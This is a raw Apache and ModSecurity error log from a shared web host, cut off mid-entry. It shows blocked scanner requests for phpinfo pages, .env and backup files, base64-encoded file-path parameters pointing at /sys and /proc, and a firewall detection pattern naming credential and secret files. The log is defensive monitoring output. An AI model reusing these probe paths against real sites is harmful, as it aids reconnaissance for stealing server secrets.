https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:10.289525 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:10.300998 2026] [security2:error] [pid 646876:tid 647015] [client 185.177.72.9:44256] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/_phpinfo.php"] [unique_id "ai3yytyTkdrNlD40tSGmIQAAAAc"] [Sat Jun 13 18:16:10.396142 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.24:55912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:10.396583 2026] [access_compat:error] [pid 648189:tid 648276] [remote 57.141.14.24:55912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:10.446378 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.2:51111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:10.446838 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.2:51111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:10.575392 2026] [security2:error] [pid 648189:tid 648361] [client 185.177.72.9:44266] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/_profiler/phpinfo/info.php"] [unique_id "ai3yylWSojQL4F7upKBaXAAAAI0"] [Sat Jun 13 18:16:10.784369 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:16:10.784838 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:16:10.847045 2026] [security2:error] [pid 646876:tid 647049] [client 185.177.72.9:44274] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/_profiler/phpinfo/phpinfo.php"] [unique_id "ai3yytyTkdrNlD40tSGmMwAAACk"] [Sat Jun 13 18:16:10.899193 2026] [security2:error] [pid 648189:tid 648301] [remote 17.246.19.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yylWSojQL4F7upKBabAAA6k8"] [Sat Jun 13 18:16:10.970795 2026] [security2:error] [pid 648189:tid 648408] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/vendor/psr/http-message/src/UriInterface.php"] [unique_id "ai3yylWSojQL4F7upKBabgAAALs"] [Sat Jun 13 18:16:10.976756 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.89:55614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:10.977200 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.89:55614] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:10.995132 2026] [security2:error] [pid 648189:tid 648284] [remote 17.241.227.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yylWSojQL4F7upKBacAAA8j4"] [Sat Jun 13 18:16:11.283184 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:16:11.283648 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9tb3VzZTEvcG93ZXI= [Sat Jun 13 18:16:11.377976 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.78:39082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:11.378237 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.78:39082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:11.412788 2026] [security2:error] [pid 648189:tid 648428] [client 185.177.72.9:44276] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/awstats/.env"] [unique_id "ai3yy1WSojQL4F7upKBafgAAAM8"] [Sat Jun 13 18:16:11.549516 2026] [security2:error] [pid 648189:tid 648455] [client 185.177.72.9:44276] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/conf/.env"] [unique_id "ai3yy1WSojQL4F7upKBaggAAAOk"] [Sat Jun 13 18:16:11.606096 2026] [security2:error] [pid 648189:tid 648282] [remote 17.22.245.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yy1WSojQL4F7upKBahQAAxTw"] [Sat Jun 13 18:16:11.615977 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.36:41258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:11.616257 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.36:41258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:11.686040 2026] [security2:error] [pid 648189:tid 648451] [client 185.177.72.9:44276] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cron/.env"] [unique_id "ai3yy1WSojQL4F7upKBaiwAAAOU"] [Sat Jun 13 18:16:11.767210 2026] [access_compat:error] [pid 648189:tid 648297] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:16:11.767681 2026] [access_compat:error] [pid 648189:tid 648297] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:16:11.822008 2026] [security2:error] [pid 648189:tid 648486] [client 185.177.72.9:44276] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/www/.env"] [unique_id "ai3yy1WSojQL4F7upKBakgAAAQQ"] [Sat Jun 13 18:16:11.828431 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.85:41074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:11.828721 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.85:41074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:11.889609 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:11.890064 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:11.962520 2026] [security2:error] [pid 648189:tid 648476] [client 185.177.72.9:44276] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/docker/app/.env"] [unique_id "ai3yy1WSojQL4F7upKBamAAAAPo"] [Sat Jun 13 18:16:12.100040 2026] [security2:error] [pid 648189:tid 648469] [client 185.177.72.9:44276] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/env.backup"] [unique_id "ai3yzFWSojQL4F7upKBanAAAAPM"] [Sat Jun 13 18:16:12.129701 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.12:40146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:12.130159 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.12:40146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:12.234331 2026] [security2:error] [pid 648189:tid 648483] [client 185.177.72.9:44276] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/xampp/phpinfo.php"] [unique_id "ai3yzFWSojQL4F7upKBaoAAAAQE"] [Sat Jun 13 18:16:12.363454 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:16:12.363856 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:16:12.366309 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.51:58628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:12.366743 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.51:58628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:12.505696 2026] [security2:error] [pid 646876:tid 647097] [client 185.177.72.9:44278] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/lara/info.php"] [unique_id "ai3yzNyTkdrNlD40tSGmaAAAAFk"] [Sat Jun 13 18:16:12.598741 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.112:50132] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:12.599007 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.112:50132] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:12.649398 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.71:52502] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:12.649839 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.71:52502] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:12.770295 2026] [security2:error] [pid 646876:tid 647008] [client 185.177.72.9:44294] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/lara/phpinfo.php"] [unique_id "ai3yzNyTkdrNlD40tSGmcQAAAAA"] [Sat Jun 13 18:16:12.880958 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MjY= [Sat Jun 13 18:16:12.881434 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MjY= [Sat Jun 13 18:16:13.038539 2026] [security2:error] [pid 646876:tid 647069] [client 185.177.72.9:44296] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 